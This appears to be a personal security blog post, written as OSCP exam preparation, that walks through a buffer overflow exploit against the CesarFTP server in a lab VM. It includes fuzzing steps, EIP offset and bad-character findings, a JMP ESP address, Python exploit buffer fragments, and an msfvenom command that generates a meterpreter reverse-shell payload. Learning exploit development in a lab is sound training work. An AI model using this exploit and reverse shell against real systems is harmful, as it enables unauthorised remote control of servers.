Skip to main content

CesarFTP BOF Review / Review การทำ Buffer Overflow CesarFTP

version ภาษาไทย ไว้มีเวลาจะมา update ภายหลังครับ

Today I would like to review my old one lesson about buffer overflow before I take the OSCP exam in 2015. I wish you learn basic BOF from this post.

CesarFTP is the one ftp software which is vulnerabled to BOF (buffer overflow).

1. The first step I download vulnerabled software from internet and install on WinXP (vm) and then

2. Try to search for exploit in my kali linux  (No, I don't exploit by metasploit just find the start code and try to make it overflow)


This original python 1906.py code is as picture below. I have to change "host" ip before do next step.


***Let's take a look at "buffer". That is something I have to modify later.*** but right now I begin with Fuzzing to find how many characters can crash this application ?

3. Control EIP address

- try to replace character after  "\n" * 671 by "A" 350 characters and found that Cesar not be crashed.

- Let's try to reduce "A" character to 340 and found that Cesar be crashed. I know the approximately space for shellcode.

- use /usr/share/metasploit-framework/tools/pattern_create.rb 340  and paste instead of "A" characters, then send again.  I found EIP is overwritten by pattern  "41316141"


- use /usr/share/metasploit-framework/tools/pattern_offset.rb 41316141 and found that offset to EIP register is 3.


- modify python code as below 

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + 'B' * 4 + 'C' * 333 
buffer += "\r\n"

and send it again to prove EIP location



Ok. EIP is overwritten by '\x42' character. Right now I know location of EIP and size of payload is not over 333 bytes.

2. Check Bad char

- create bad character and paste into python code as

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + 'B' * 4 + badchar
buffer += "\r\n"

and send it to overflow app again.  Found that CesarFTP not crash. Let's identify bad char by cut over each character and found bad character are

0x00, 0x0a, 0x0d

remove all bad char and send it again.


ok. but actually in the end of exploit I found that "\xFF"  is bad char too.

3. Find location for PAYLOAD ( JMP ESP)

- use mona

!mona modules
!mona fiind -s "\xFF\xE4" -m user32.dll

- or click "e" and "m" to find library ( .dll )

in this case I find by this method  and found 0x7E455313 is JMP ESP of USER32.dll


I can overwrite EIP with JMP ESP 

4. Generate shellcode 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.122 LPORT=4445 -f c -a x86 --platform windows -e x86/shikata_ga_nai -b '\x00\x0a\x0d\xff'

and paste shellcode into python script and fix code as  ( I add "\x90" to reliable exploit)

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + intel_order(EIP) + '\x90' * 7 + shellcode 
buffer += "\r\n"

Comments

Popular posts from this blog

Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่ 2

ใครที่ยังไม่ได้อ่านตอนแรก สามารถอ่านได้ที่ Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่  1 4. การ Maintenance      หลังจากที่เราทำการ implement เสร็จแล้ว ไม่ใช่ว่าจะจบกันเท่านี้ มันแค่เริ่มต้น It's just the beginning. ก็ต้องมีขั้นตอนในการที่ดูแล และ up-to-date ให้อุปกรณ์ในระบบไม่มีช่องโหว่ต่อไป รวมถึงปรับปรุง template ในการ hardening เป็นประจำด้วย จะกล่าวถึงต่อไปนะ โดยปกติที่ผมเคยทำมา จะมีการกำหนดให้คนนึงที่อาจจะเป็น Security Consult ของแต่ละ platform แต่ละแผนก ในการทำ subscribe ไปยัง vendor ต่างๆ ตามอุปกรณ์ที่ดูแลอยู่เพื่อรับข่าวสาร และได้รับ notification เวลามี security update เพื่อจะนำมาวิเคราะห์ดูว่าระบบที่เราดูแลอยู่นั้นมีช่องโหว่ใหม่ๆ ที่เกี่ยวกับอุปกรณ์ของเราเกิดขึ้นหรือไม่ ถ้ามีก็ต้องนำมาเข้าสู่กระบวนการดังที่กล่าวไปข้างต้น มีคนแล้วก็ต้องมี policy องค์กรก็ต้องมีการกำหนด policy ขึ้นมาเพื่อใช้ควบคุมระยะเวลาที่องค์กรยอมรับความเสี่ยงต่อช่องโหว่ในระดับต่างๆได้ ยกตัวอย่างให้เห็นภาพ ที่ผู้เขียนเคยทำมา เช่น ถ้ามีช่องโหว่เกิดขึ้นใหม่ในระดับ - C

My OSCP Review <-> รีวิว ประสบการณ์การสอบ OSCP ( It is just the beginning)

เนื้อหาภาษาไทยสามารถดูได้ด้านล่างนะครับ About me I would like to tell you before that my english writing skill is not good, ^^", but I will try . I was Network Engineer and System Engineer with 10 years working experience and have CCNP, CCNP Security, CCDP, ITIL, MCP and I have experience in ISO27001 for 4 years. Right now I move to be a Penetration Tester in new company for 6 months. Inspiration Actually before getting a new job as pentester I would like to take CEH or ECSA certificate. But after do a new job, my three colleagues have OSCP and they are my model. All of them have an awesome skill. Then I try to find more information about OSCP and found that OSCP is very difficult to pass, no exam dump, no one answer you. Although I have a few experience on hacking but I think I can try and TRY HARDER. OSCP Course There are two course manual, pdf and video that are dependent. After I got them I tried to read from PDF only but not enough, many technics ar